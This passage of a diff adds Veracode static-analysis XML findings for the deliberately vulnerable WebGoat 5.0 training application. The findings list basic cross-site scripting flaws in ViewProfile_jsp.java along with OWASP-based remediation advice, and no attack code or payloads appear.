+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"55\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"196\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"8\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"56\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"23\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"254\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"57\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"213\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"156\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"222\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"59\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"60\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"181\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress2().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"60\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"250\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"61\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"163\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
